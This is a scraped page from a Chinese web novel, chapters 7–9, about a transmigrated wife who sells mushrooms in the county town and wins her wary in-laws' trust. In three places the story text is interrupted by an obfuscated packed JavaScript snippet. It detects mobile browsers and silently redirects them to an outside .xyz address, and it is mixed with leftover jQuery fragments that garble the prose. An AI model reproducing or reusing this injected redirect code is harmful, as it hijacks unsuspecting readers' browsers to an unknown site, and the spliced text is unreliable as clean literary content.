$(''#content'').append('' 嫂，二嫂没想着卖了她，没想到二嫂是想找一户给钱多的把她卖掉。 她该怎么办才好。 秦书锦上前敲响了面前的朱红色的大门。 被拒。 霍小芽松了一口气。 还好，这家没相中她。 秦书锦又去敲响了另一家。 依旧被拒。 霍小芽又松了一口气。 幸好她长得不好，瘦弱不堪，没人要她。 二人又去了第三家，这家没有直接拒绝。 秦书锦心里一喜，看向了站得远远的霍小芽。 “小芽，赶紧过来。” 霍小芽眼底一片死寂。 她想逃，脚上却像是生了根，一动不动。 同村和她一起长大的小翠姐去年也被卖掉了，她被卖后，家里日子过得富足起来。 穷人家的姑娘总是逃不掉这样的命运。 若是卖了她，爹娘和侄子能过上好日子，她也算没白活了。 她垂下眼，脚步缓慢地朝着秦书锦走去。 秦书锦眼底流露出来几分疑惑。 这一路行来霍小芽都怪怪的，一会儿紧张一会儿害怕一会儿恐惧，不知她到底怎么了。 此刻卖菜要紧，秦书锦没多问，等到霍小芽走过来后，她掀开霍小芽身后的竹篓，笑着跟人说：“夫人，您瞧瞧，咱家的蘑菇长得好，个大又新鲜。” 霍小芽愣了一下，抬眸看向了秦书锦。 原来二嫂叫她过来卖蘑菇，而不是卖了她？ “蘑菇确实看起来不错，不过你这价格太贵了，谁家卖二十二文，我最多给你二十文。” 二十文便是秦书锦心里的价，她故意多说了两文，就是给对方还价的机会。但她没轻易表露出来，一副为难的模样：“二十一文，夫人，不能再少了。” “二十文，我买两斤，我一文都不多给。” 秦书锦咬了咬牙：“行，谁让我这是今早卖的第一份呢，给您了。” 结果对方看到旁边的青菜，又提出来一个要求：“再送我一斤青菜。” 秦书锦：“夫人，这个真送不了。” “那我不买了。” 秦书锦第一次知道做生意这么难，可她走了一早上了都没卖出去一份，只能咬牙卖了。 虽然赚了四十文，可秦书锦觉得憋屈极了。 霍小芽却是一脸佩服地看向了秦书锦。嫂子好厉害啊，上个月隔壁的婶娘家在山上摘的蘑菇只卖了十五文，嫂子却卖了二十文。 接下来二人又问了几家，有一家提出了跟刚刚那家同样的要求，买一斤蘑菇送一斤青菜，这次让她送的是芹菜。她心里实在是不舒服，拒绝了。 耽搁了许久，竟只卖了两斤。山上的蘑菇稀少，去采摘的人又多，这次是他们运气好才能摘这么多，以后可未必再有这样的机遇了，下次再遇到这样的好事还不知道是何时。 她要吃肉，要吃蛋，她要改善生活！她得将这珍贵的蘑菇发挥最大的价值！ 秦书锦实在是不甘心，转头看向霍小芽。 “小芽，县城离这里有多远？” 霍小芽：“二十多里路。” 秦书锦没想到镇上离县城那么远，她开口问道：“走着去要多久？” 霍小芽：“大半个时辰。” 秦书锦想到方才在镇口遇到的马车，道：“走，咱们坐车去县城。” 霍小芽惊讶地问：“去县城干什么，找二哥吗？” 二哥就在县衙当差，可据她的观察，二哥二嫂的关系似乎并不好，二嫂咋想起来去找二哥了。 秦书锦压根儿没想到这一层，她道：“找他干啥，昨日不是刚见过么，咱们不去找他。” 霍小芽一脸惊恐的神情。二嫂去县城不是去找二哥，难道是想将她卖掉？若是卖到了镇上离家近，她还能隔几个月回家一趟，但若是卖到了县城里，那她以后岂不是见不着爹娘了？ 这表情不太对劲儿。 秦书锦：“你不敢去？” 霍小芽：“不……不是。” 秦书锦耐心解释：“我想着这些蘑菇是咱们好不容易采的，屋后的蔬菜又是爹娘辛辛苦苦的种的，不想卖那么便宜，咱们去县城看看，如何？” 霍小芽犹豫片刻，终究还是不敢反抗，答应下来。 7. 第7章 不多时，二人搭上了去县城的车。一人两文钱，两人便是四文钱。还好刚刚卖蘑菇赚了一些钱，不然都没钱坐车。 霍小芽看着秦书锦拿出来四文钱，心疼死了。一文钱两个馒头，四文钱能买八个馒头，够他们一家人吃一天了。 秦书锦不知霍小芽心中所想，在她看来，若是想将东西卖更多钱，前期的投入是必要的。她心中也是在赌，赌县城能卖更高的价钱，赚回来路费。 这马车是那种没有棚子的，坐满六个人才走，她们去时正好还有两个空位，一上车马车就朝着县城驶去。 刚驶出镇子，秦书锦远远地看到了不少人，问道：“那些人在干什么？” 霍小芽瞥了一眼不远处，道：“修建寺庙。” 秦书锦点了点头。 “人还挺多的。” 霍小芽：“这里给的工钱高，附近村子的人都去那里干活了。” 这里似乎离霍家村也不算远，秦书锦好奇地问：“爹咋没去？” 她之所以会这样问是因为在她的印象中霍二山一直想去赚钱，这里离家这么近，他为何没想过来这里赚钱。 霍小芽：“爹年纪大了，身子也不太好，人家不要。” 秦书锦：“哦。” 她又看了一眼干活的人，果然都是年轻力壮的男子。 两刻钟后，马车到了县城。 县城果然跟镇上不同。镇上更多的像是一个大型的村子，而县城繁华了许多。人更多，卖菜的人也多。 秦书锦去菜场转了一圈，芹菜和莴笋高达三文钱，菠菜和青菜也有两文钱一斤，蘑菇竟然卖到了三十文，就连野菜也是一文钱一斤。只是卖菜的人多，买菜的人少，价格虽高，但也有许多卖不出去的。 因为有了镇上做对比，秦书锦对于这个价格很满意，二人转了一圈，交了摊位费，找了个地方开始卖菜。 秦书锦运气不错，菜的品相也好，刚一摆上就有人来问了。 “这蘑菇怎么卖的？” 蘑菇如今是个好东西，吃得起蘑菇的人也不在乎那几文钱，秦书锦对比了一下方才见过的蘑菇品相，道：“三十五文一斤。” 妇人脸色一变，立即就站了起来，一副要走的模样。 “旁边卖三十文，你卖三十五文，小姑娘，你这价太贵了。” 秦书锦：“姐，您瞧瞧，我这蘑菇全都是好的，一个烂的都没有，那些小的烂的长得不好的都被我挑出来了。您方才想必也看过别家了，别家的蘑菇可有我这般好？” 妇人有些犹豫。 她之所以会过来也是因为一眼就看中了这家蘑菇的品相。别家的蘑菇有大有小，还有些不齐整，掺在一起卖。这俩小姑娘的蘑菇全都是个头大又好的。 “好是好，但是贵了些。”她仔细翻了翻，“你这不是今儿一早采的吧？” 秦书锦：“的确不是，这时昨日后半晌去山上采的，因太晚了，就没来镇上。您若想要，我就给您便宜两文。” 妇人：“你若能便宜三文我全都买了。” 霍小芽咽了咽口水，三十二文，她想都不敢想。她立即看向嫂子，嫂子却一副犹豫的模样。方才镇上才卖二十文，如今能卖三十二文，这是多好的事啊，嫂子在犹豫什么。 秦书锦心里虽然也十分开心，但她并未表现在脸上。 “姐，我瞧着您也是真心想买的，您看这样行不，您若能全都买了，我给您按三十三文钱。顺便把这三斤野菜送您了。” 妇人看了一眼一旁新鲜的荠菜和马齿苋。 还别说，这些野菜品相也不错，水灵灵的。 秦书锦瞧出来妇人想买，又道：“这些野菜都是今早去地里现摘的，掐的嫩的，全都是个头大长得好的，差的也都被我挑出来了。我这些野菜单卖也能卖个三五文。这荠菜若是包包子别提多好吃了，马齿苋做成饼也是美味。我这是瞧着您买的蘑菇多，才想着免费送给您的。” 妇人又看了一眼面前的蘑菇，这蘑菇生得着实好，她在菜市转了一圈也没找到比这更好的了。而他们家少爷嘴又刁，不仅注重菜的味道，还注重菜的样子。 妇人咬咬牙，道：“行，三十三就三十三文吧。” 霍小芽简直不敢相信自己的耳朵，嫂子竟然拿那些长在墙角没人要的野菜换了三文钱。她第一次觉得嫂子是个厉害人。 妇人又道：“不过你得答应我一件事。” 秦书锦：“您说。” 妇人：“你若再摘到这么好的蘑菇一定要给我留着。” 竟还有这等好事？以后若是再遇到那么好的蘑菇就不愁卖了。 秦书锦立即道：“没问题。不过最近雨水少，山里的蘑菇也少，您说个地方，若我真的找到了立即就给您送去，绝不过夜。” 妇人：“好，我主家住在仁义巷子里，姓邵，你若是有蘑菇的话，从后门去，就说找巧娘。” 秦书锦：“好嘞，没问题。” 秦书锦拿着秤称了一下，道：“您看看，三斤一两，我也是想做长期生意的，姐也是实在人，就收您一百文。” 秦书锦又称了野菜，三斤二两，按三斤算。 旁人都是缺斤少两，秦书锦又是抹零头又是送的，还一口一个姐，巧娘被她哄得笑得合不拢嘴。 秦书锦：“姐，您看看要不要芹菜，今早刚摘的，都给您摘干净了，一点土都没有，您回头不用费劲儿收拾了，只需要清水洗一洗就行。只卖您三文钱一斤，回头您炒着吃，包饺子包子都好吃。” 巧娘心里一动，又买了两斤芹菜，提着一大堆菜离开了。 掂了掂手里的铜板，秦书锦长舒了一口气。 霍小芽：“二嫂，你好厉害啊！” 秦书锦：“多跟人打打交道你也可以的。” 霍小芽疑惑地问道：“可嫂子也没卖过菜，怎会懂那么多的？” 秦书锦随口胡诌：“我从书上学到的。” 原来读书多了什么都会，霍小芽有些崇拜秦书锦了。 接着又有人来问蔬菜的价格，因为品相好，不到一刻钟就全都卖完了。 旁边的卖菜的见秦书锦的菜卖得快，羡慕极了。 他们坐在这里快一个时辰了，这才卖了两三份，隔壁的两个小姑娘竟然一刻钟就全都卖完了。低头看看自家的菜，默默将长得不好的叶子掰掉。暗道自家的菜跟她家比也没什么区别啊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405651|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咋就没人买呢？ 秦书锦数了数，在县城一共卖了一百二十二文，算上镇上卖的四十文，共计一百六十二文，除掉两文摊位费以及来时车位费四文钱，还剩下一百五十六文。 她知道今日之所以能赚这么多是因为昨日在山上意外采摘了几斤蘑菇，而蘑菇可遇不可求。除掉卖蘑菇的钱，今日一共卖了十七文，去掉摊位费两文，两回车位费八文钱，只赚了七文钱。那些蔬菜也不是日日都能长出来卖，所以除了蘑菇，其实也没赚什么钱。 秦书锦在县城转了转，镇上一个菜包子才一文钱，县城却要卖两文钱。镇上肉包子两文钱，县城三文钱。 现成肉菜面的价格高，包子的成本自然也会高的。 秦书锦很想吃肉包子，但她算过账，她若是在镇上买了肉和面，回家去蒸，一个肉包子的成本才一文半。如今家里太穷了，吃了上顿没下顿，她不能这么奢侈。她忍着饿意在县城转了一圈，去了城门口，准备打车回镇上。 县城的机遇的确很多，可同样的成本也高。 他们去镇上只需要走一刻钟，但来县城却要走上半个时辰。若是背的蔬菜少，不划算。若是背的蔬菜多，太重了，扛不动。交一交摊位费，压根儿赚不了几文钱。县城的店面租金也高的吓人。除去路上耽搁的时间，还是去镇上最划算。除非卖贵一些的新鲜玩意儿，否则她短时间内应该不会再来县城了。 霍小芽犹豫地道：“二嫂，坐车太贵了，咱们背篓里没有东西了，不如走回去吧。” 秦书锦：“咱们是姑娘家，身上又带了那么多钱，从这里回村子要半个多时辰，不安全，爹娘见咱们久久不回去也会担心的。” 方才来的路上她看过四周的环境，路上的行人不多，她和霍小芽单独走不安全。 霍小芽明白了秦书锦的顾虑，没再提。 二人坐着马车回了镇上。 进镇时，秦书锦又看到了那座尚未盖好的寺庙。此刻到了饭点，干活的人停了工，三三两两坐在树下吃着饭。不少人吃馒头喝水，还有一些吃的包子。 她看了一眼后收回了目光。 二人到镇上时已经巳时了，路上没了卖菜的人，卖肉的也快卖完了。 秦书锦听到肉摊上的屠户说肉便宜卖了，十文钱一斤，她再也忍不住，去割了一点肉。 那屠户一听她要的少，脸色顿时有些不好看。 秦书锦实在是馋肉了，大哥长大哥短的叫了几声，那屠户终于给她割了肉。秦书锦又厚着脸皮加了一文钱，想要三根大骨头。 屠户本就不剩多少东西了，想着便宜处理了就回家，就给了她。 秦书锦已经在脑海中想了无数种菜肴了。 就在这时，一道声音传了过来。 “呦，这不是秦家妹子么，你终于来镇上了？” 秦书锦抬眸看了过去，眼前的男子衣衫不整，眼睛上下打量着她，目光停留在了她的胸前。长得一副流里流气的样子，让人心生恶心。 男子在秦书锦身上停留了片刻后，看向了秦书锦身边的霍小芽。 “这就是你那小姑子？” 看着眼前的男子，霍小芽的脸色顿时变得惨白。 8. 第8章 刚来镇上时霍小芽还在警惕地看着四周，生怕嫂子会将她卖了。可随着嫂子去了一趟县城，她渐渐忘了担忧，沉浸在赚了钱的喜悦之中。 可该来的还是来了。 眼前的男人就是那日和嫂子一处商量要将她和子规卖掉的男子。 霍小芽想跑，可恐惧让她跑不动，同时，她不知为何对嫂子多了一丝信任，心里存了一丝侥幸，或许嫂子不会同意卖了她吧…… 秦书锦对眼前的男人一点印象都没有，可不妨碍她从对方的眼神中看出来他不是个好东西。况且，霍小芽可是男主的亲妹妹，她一定要在霍家人面前跟原主从前认识的这些不三不四的男人划清界限。 秦书锦一把将霍小芽拉到了自己身后，正色道：“我已经成亲了，你还是唤我一声嫂子吧。” 说完，她看了一眼霍小芽，却见霍小芽眼底的恐惧之色越来越多了。 不看不知道，一看吓一跳。霍小芽为何如此害怕眼前的男人？ 秦书锦抬手握住了霍小芽的手。 霍小芽吓得身子颤了一下，抬眸看向秦书锦。 男人像是听到了什么天大的笑话，哈哈大笑起来。 “秦家妹子，你在开什么玩笑，你当真看上那个穷光蛋了？你从前不是最瞧不上他了么？他带着一个拖油瓶不说，家里还穷的叮当响，饭都吃不饱，还整日对你冷着一张脸。” 敢当着霍小芽的面说霍耘的坏话！秦书锦立即变了脸色。她生怕霍小芽将这些话学给霍耘听，连忙道：“你胡扯什么？我何时说过这样的话？我家夫君相貌英俊，顶天立地，对我也颇为照顾。若再被我听到你这般说他，我定饶不了你！” 昨日她便看出来了，霍耘绝对不是个和善的性子，他不像是书中没什么感情的工具人，而是有自己想法的一个活生生的人。若被他知道了这些事，心里还不知会如何想。 她不欲和男子过多纠缠，说完话后就牵着霍小芽的手朝前走去。 男子几步上来拦住了她们二人的去路。 秦书锦冷着脸道：“你若再敢拦我的路我就去告诉我夫君，你也知道我夫君在县城做皂吏，他武艺高强，要是知道你纠缠于我，绝不会放过你的。” 她虽不知霍耘身手如何，但他既然能成功救出来霍子规，身手定然不会差。 男子似是见过霍耘，听到秦书锦这样说，脸色有些难看，没敢再拦着。 等离镇子远远的了，秦书锦这才松开了霍小芽的手。刚刚不光霍小芽害怕，她也非常紧张。那男子一看就不是个好东西，若他继续纠缠，着实不太好办。 刚刚霍小芽见到那男子时神色不太对劲，猜想她应该不是第一次见，她看向霍小芽，问道：“你从前见过方才那个男子？” 霍小芽抿了抿唇没说话。 果然被她猜对了，霍小芽这表情分明就是认识那个男子。 秦书锦：“他对你做过什么？你跟我说实话，我帮你。” 霍小芽抬眸看向秦书锦。二嫂今日带着她去县城买菜，方才还维护她，并没有把她卖了的意思，她觉得自己从前可能误会了二嫂。那日她应该没听全他们的对话，定是那男子想卖了她，二嫂没同意。 “我那日听到二嫂和他说要将我和子规卖了。” 竟然还有这样的事！秦书锦眼前一黑，差点晕过去。 她一点都不怀疑霍小芽的话。依着原主的性子，的确能干出来这样的事情。她这个角色在书中是个不重要的路人甲，只存在于反派的回忆中。 反派回忆了两次，一次是养母打骂他，一次是他杀了养母。至于这个角色具体还做了什么过分的事情，她并不知道。 她原以为原主只是虐待霍二山董春娘以及男配霍子规，没想到她还想过要把霍子规和霍小芽卖掉，怪不得反派后来那么恨她。 原主可真是为了钱什么事都能干得出来，也幸好原主还没来得及实施计划，不然她可就惨了，想弥补都弥补不了。 霍小芽这两日怪异的举动一时都有了答案。 昨日霍小芽见她单独带着霍子规出门以为她要将霍子规卖掉，所以着急去山上找他们。今日她不想跟着她出门也是怕她单独带着她把她卖掉。 秦书锦闭了闭眼，稳了稳心神，又睁开了。 “你听错了，我绝对没有那个意思！” 不管原主是否真的说过，她绝不能承认。她先表明态度，然后再想想如何哄一哄霍小芽，绝不能让霍耘和霍子规知道此事。 霍小芽：“嗯，今日我知道了，是我误会了嫂子。” 嫂子若是真心想卖了她，此刻她就不会出现在这里，早已经被人带走了。幸好她昨日没跟二哥说，不然可就麻烦了。爹娘说得没错，二哥娶个媳妇儿不容易，她要好好待二嫂，要相信二嫂。 听着霍小芽信任的话，秦书锦心中那些想要辩解的话一下子卡住了。这小姑娘虽然偶尔有自己的小心思，但心地却无比纯真。面对这样一双澄澈的眼睛，她一句谎话都编不出来。 她斟酌了一下，道：“你哥经常不在家，我刚嫁过来有些不适应，可能从前说了些过分的话，做了些过分的事，但我如今已经慢慢地适应了，以后绝对不会再做那样的事情。” 霍小芽：“我相信二嫂。” 秦书锦：“那你……能不能别把这件事告诉你二哥？” 娘一直跟她说二哥带着侄子，找个媳妇儿不容易，这门亲事委屈了二嫂，所以叮嘱她不要在二哥面前说二嫂的不是。她从前没说，以后也不会说的。她倒是为自己昨日想告诉二哥的想法感到愧疚。 “我绝对不会说的。” 秦书锦松了一口气：“咱们快些回家去吧，想必爹娘已经等久了。” 霍小芽：“好。” 另一边，霍二山在院子里做着椅子，董春娘时不时看向外面。 董春娘着急地道：“日头都这么高了，咋还没回来啊。” 霍二山：“菜不好卖，估摸着是还没卖完。” 董春娘：“没卖完也该回来了啊，都到饭点儿了。” 霍二山眼底也有几分担忧，但他什么都没说。 秦书锦和霍小芽二人刚走到家门口就看到董春娘朝着外面走去。看到她们二人，董春娘脸上明显露出来轻松的神色。 “我瞧着你们这么久没回来，想着出去迎一迎你们。” 秦书锦：“我和小芽去了趟县城，路上耽搁了些时间。” 董春娘有些惊讶，但此刻在门口，她也没多问。 “累了吧，快进来，饭已经做好了。” 秦书锦和霍小芽将东西拿去了堂屋。 看着面前的肉和骨头，霍二山董春娘全都面露惊讶之色。 儿媳自打成了亲常常出门，不是去镇上就是去县城，但她从来没往家里带过什么东西，都是自己吃好喝好之后再回来。 董春娘看了看两个空的竹篓，惊讶地问：“带去的菜都卖完了？” 秦书锦：“卖完了，卖了一百四十七文。” 这下霍二山脸上浮现出来震惊的神色。 他们也去镇上卖过菜，蘑菇最多能卖二十文，那还得是运气好的时候，那些蘑菇能卖个八九十文就差不多了，带去的菜最多能卖十文钱，加在一起不到一百文，再除去买肉的钱，也就剩下六七十文。怎会多出来那么多？ 董春娘想到方才儿媳说过的话，问道：“你们方才不是说去过县城吗？咋去的，怎么这么快就回来了？” 若是去镇上卖菜，这个点回来是有些慢。但若是去的县城，一来一回少说也得两个时辰，回来的就算早的了。 秦书锦刚想开口解释，这时肚子不合时宜地叫了起来，她尴尬地不行。 董春娘听到动静，忙道：“先吃饭吧，吃完饭再说。” 秦书锦：“嗯。” 她已经饿得不行了，再不吃饭就要晕倒了。 秦书锦这才看到桌上竟然有几个煮鸡蛋，菜里也多了些油星，看来她猜得没错，昨日霍耘应该给他们钱了。 上了饭桌后，秦书锦快速吃掉一个馒头，喝了两碗汤，吃了一个鸡蛋，胃里这才舒服了些。见旁人还没吃完，她开始说起卖菜的事情。 “我和小芽到了镇上后，先去镇上转了一圈，发现青菜根本卖不出去，野菜更是没人要。我们又敲了几家门，卖了两斤蘑菇。我瞧着这价格不太合适，瞧着时辰太晚了，怕再晚就没人买菜了，于是带着小芽坐车去了县城。到了县城后，我们找到了菜场，交了两文钱的摊位费。蘑菇的价格在三十文左右，咱家的蘑菇好，我又送了对方三斤野菜，以三十三文一斤的价格卖出去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405652|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这里，霍二山董春娘已经忘了要吃饭了，整个人如同石化了一般，呆呆地看向儿媳。要说从前他们对儿媳的态度是害怕的话，如今就有些敬意了。读书人家出来的姑娘果然有本事，人还是要多读书啊。 一斤蘑菇三十三文……这是他们从前从未想过的价格。 两斤能卖这个价就不错了，更何况只有一斤。 董春娘：“三……三十三文？这么多啊！” 秦书锦：“对，蘑菇三十三文一斤。” 霍二山：“这个价格是真的高。可惜蘑菇难找，有时一个月也见不着多少。” 董春娘：“哎，是啊。” 秦书锦又接着道：“芹菜和莴苣三文钱一斤，青菜菠菜两文钱一斤。一共卖了一百六十二文钱。” 怕霍二山董春娘觉得她们二人搭车费钱，她多解释了两句。 “我想着从县城到家得经过一段偏僻的小路，我和小芽两人走路不安全，就又搭了车回来的。猪肉是在镇上买的，那屠户剩的不多了，就便宜卖了，我又买了几根大骨头。” 霍二山董春娘过了许久才反应过来。 霍二山：“你们坐车回来是对的，两山之间的夹道经常出事。” 董春娘：“你爹说得对。” 秦书锦方才还有些担忧霍二山董春娘心疼钱，没想到他们竟这般通情达理。 她心里还有一事。若只是卖了蘑菇，赚的钱她都拿着也就罢了，关键是里面还有卖菜的钱，早上董春娘和霍小芽又帮了她。 “这些钱……” 她话还没说完就被董春娘打断了。 “你留着花吧，我和你爹手里有钱。” 秦书锦想到了董春娘早上给她银钱的行为，没在这个问题上做过多的纠缠。若她再谦让一下的话，霍家人说不定会觉得她拿他们当外人。眼下她手里没有钱，还得想想赚钱的法子，这些就当做是自己的启动资金了，等真赚了钱再想办法弥补霍家。 “行，爹娘要是有需要就问我要。” 董春娘：“好。” 董春娘更关心菜钱的事儿：“芹菜那么值钱吗？大壮娘说昨日她去镇上卖，一文钱一斤都没人要。” 因为此事霍小芽也参与了，她整个人都十分兴奋，此刻也忍不住小声道：“我和嫂子在镇上也没卖出去，县城的贵，野菜都能卖出去，一文钱一斤呢。” 董春娘眼前一亮：“那咱们以后都割了菜去县城卖。” 霍二山点了点头。 秦书锦看着霍二山董春娘布满沟壑的脸上轻松的笑意，突然有些心酸。 地里的菜今早刚刚割过一茬，除去自己要吃的，如今也就剩下几斤了。为了多卖几文钱，来回走一个多时辰，也就挣个辛苦钱。 “爹娘，会不会太累了？” 董春娘笑着说：“累啥，不就是多走几步路么，若真的能赚些铜板也值了。” 秦书锦：“咱们手里不是有钱了么，要不还是别去了？” 董春娘：“走几步罢了，不费事儿的。” 秦书锦知道霍家过得有多艰难，菜吃不完搁在地里也会烂，她没有理由再去阻止他们。 她瞥了一眼一旁的肉和骨头，想到方才在镇上闻到的肉包子的味道，道：“爹娘，咱们下午吃肉包子吧？” 霍子规正埋头吃饭，听到肉包子后，眼前一亮，一脸期待地看向秦书锦：“娘，咱们真的要吃肉包子了吗？” 文中最大的反派此刻还是一副天真的模样，因为一口肉能开心成这个模样。 小孩子总能让人的心变得柔软，秦书锦摸了摸霍子规干瘦的脸，问道：“你想吃吗？” 霍子规咽了咽口水，猛地点头。 秦书锦再次看向霍二山董春娘，又说了一遍：“爹娘，咱们许久没吃肉了，子规还在长身体，咱们下午吃肉包子吧？” 儿媳自从嫁入他们家之后一直对子规很厌恶，时常打骂他，说他是拖油瓶。没想到如今儿媳竟然开始关心起孙子了。 霍二山董春娘乐于看一家和乐的模样，自然应了下来。 “好，下午吃肉包子！” 霍子规开心得快要跳了起来：“太好了，要吃肉包子了，吃肉包子喽~” 看着孩子开心的模样，众人都忍不住笑了起来。 9. 第9章 累了一早上，吃过饭后秦书锦回屋去歇着了。 霍二山歇了一会儿后又下地锄草了，董春娘去厨屋活面，霍小芽出门去河边洗衣裳。 秦书锦本没想着睡的，可身体太过疲惫，没一会儿就睡着了。 梦里，她又看到了一些关于原主的画面。她看到原主和早上见过的男子密谋将霍小芽和霍子规卖掉。原主趁着霍家没人，偷偷带着霍子规出门，将他交给了那男子。回家后，秦书锦见霍小芽不在家，便谎称霍小芽将霍子规带出去玩了。 家里找了他们一整日，天黑之际，霍小芽带着霍子规回来了。 原来霍小芽偷听到原主和男子的对话后，便一直悄悄观察她，见她将霍子规带走了，尾随在他们身后，趁男子放松警惕将霍子规救了出来。 原主见霍小芽将霍子规带回来了，气得牙痒痒，对霍小芽又打又骂，威胁她不准说出去。 霍小芽没敢将此事跟霍二山董春娘说，只说自己贪玩，忘了回家的时辰。 霍小芽是个善良软弱的，霍子规可不是。 霍子规六岁了，原主将他卖了这件事他是知道的。这一整日他度日如年，他想逃出去，被男子狠狠打了一顿，受了刺激，竟回想起从前在王府的事情以及王府人悉数被杀一事。他的心里和身体受到了双重打击，整个人性情大变。他看原主的眼神充满了怨恨。 虽他只是个稚子，但那眼神过于凌厉，让人胆寒。秦书锦心里一颤，从梦中惊醒。 怪不得霍子规那么恨原主，原来书中原主真的将他卖了，而他之所以从一个天真的孩童变成后面那种扭曲的性格也是因为原主。 原来这一切的导火索都是她。 “大公鸡，喔喔喔，只会叫，不下蛋！” “喔喔喔，喔喔喔~” 霍子规童真的声音传入了耳中。 秦书锦朝着窗外看了一眼。 霍小芽压低声音道：“子规，你娘还睡着，你小声些。” 霍子规连忙捂住了嘴，小声道：“知道了，小姑姑。” 说完，他跑到了西屋的窗下，往里面看了一眼。见秦书锦已经醒了，他眼里流露出来一丝惊喜的神色，脸上也扬起了一个大大的笑容。 “娘，您醒了。” 霍子规此刻天真无邪的模样和梦中的模样形成了鲜明的对比。 梦是梦，现实是现实。 原主是原主，而她是她。 秦书锦笑了：“嗯，醒了。” 霍子规有些紧张地问：“娘是被我吵醒的吗？” 秦书锦：“不是，是我自己醒的。” 霍子规脸上顿时扬起大大的笑容：“娘，奶开始包包子了，可香了，你快起来吃包子。” 秦书锦：“好。” 霍子规转身跑去了厨屋。 隔壁的厨屋响起了“当当当”剁馅儿的声音，秦书锦从屋里出来了。 出屋后，她首先看到了坐在堂屋前做绣活的霍小芽。 霍小芽：“二嫂。” 秦书锦应了一声，朝着她点了点头。随后，她朝着厨屋走去。 跟这个时代别的人家不同，霍家似乎没有男子不入厨屋的规定，霍二山在剁馅儿，董春娘在揉面。霍子规坐在一旁托着下巴，两只眼睛睁得大大的，紧紧盯着霍二山手中的馅儿。 董春娘先看到了秦书锦，她笑着说：“老二媳妇，你起来了。” 秦书锦：“嗯，起来了。娘，我来帮忙吧。” 董春娘忙拒绝了：“不用不用，你歇着去吧，这里有我和你爹就成。” 儿子好不容易娶到了媳妇儿，一家人都把她供着，今儿一早儿媳还赚了不少钱，更是家里的大功臣，董春娘是一点活儿都不舍得让儿媳干。生怕再得罪了儿媳，儿媳一怒之下跑了。 秦书锦：“我不累，还是让我来吧。” 董春娘：“厨屋小，站不开那么多人，小芽想帮忙都被我撵走了。” 秦书锦觉得干等着吃有些不好意思，可仔细一看，她既不会揉面，又不会剁馅儿，还不会包包子，似乎什么忙都帮不上。 董春娘：“去歇着吧。” 秦书锦：“要是娘需要我帮忙就跟我说。” 董春娘：“唉，好。” 秦书锦瞥了一眼霍子规，道：“子规，要不要跟娘去院子里玩？” 霍子规看了一眼正在剁的馅儿的董春娘，有些犹豫。 他从早上就等着吃包子了，等了几个时辰了，此刻不舍得离开。 儿媳愿意带孙子，董春娘高兴得不得了，她笑着说：“子规，跟你娘去玩吧，厨屋里热，等一会儿包子包好了奶第一个喊你。” 霍子规眼前一亮，点了点头。 出了厨屋，秦书锦左右无事，朝着霍小芽走去，她低头看向了霍小芽手中的绣活儿。 “你这是在做什么？” 霍小芽：“绣佛经。” 秦书锦知道古代有些女子靠做绣活赚钱，她还以为只绣一些帕子荷包之类的东西，没想到还能绣佛经。 佛经已经绣了大半，快要绣完了。霍小芽的手艺不错，针脚很齐整。 “绣了多久了？” 霍小芽：“一个多月了。” 秦书锦：“能拿到多少钱？” 霍小芽：“二十文钱。” 秦书锦简直不敢相信自己的耳朵。 “多少？” 霍小芽：“二十文。” 昨儿秦书锦就看到霍小芽在绣佛经了，她除了干家里的活就是在檐下绣佛经，一日最少得绣三四个时辰，一个多月，才赚二十文。 费时费力还费眼睛。 秦书锦：“价格也太低了。” 还不如去县城卖菜赚钱。 霍小芽：“这算高的了。大家都会做绣活，但买的人少，从前没有人要绣活的，因为镇子旁边修了寺庙，这才有人要佛经了。” 秦书锦：“嗯。” 是她想错了，若赚钱都那么容易的话，霍家就不会过得这么糟糕了。 霍子规在旁边看了一会儿，实在是坐不住，又跑去鸡圈逗公鸡了，院子里想起了公鸡“咯咯咯”的声音。 逗了一会儿公鸡，他又跑去门口玩泥巴。 霍小芽见侄子身上脏兮兮的，怕侄子又惹了嫂子生气，道：“子规，你别老是玩泥巴了，去找大壮玩儿吧。” 霍子规看了一眼厨屋的方向，道：“我不想去。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405653|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他今日哪里都不去，他就在这里等着吃包子。 秦书锦瞧出来了霍子规的心思，笑着说：“你别劝他了，他满脑子都是肉包子，吃不到包子他哪也不会去的。” 霍小芽这才明白侄子为啥一直待在家里：“怪不得他今儿这么老实。” 过了约摸两刻钟左右，厨屋里传出来肉包子的香气。 白菜肉的。 秦书锦闻出来了，许久没吃肉，她忍不住咽了咽口水。 霍子规已经跑去厨屋门口站着了。 董春娘：“先去洗洗手。” 霍子规转头跑去井边，一边洗手一边盯着厨屋的方向。 包子熟了后，董春娘又熬了点白米粥。 因为蒸了包子，所以家里没再炒菜。 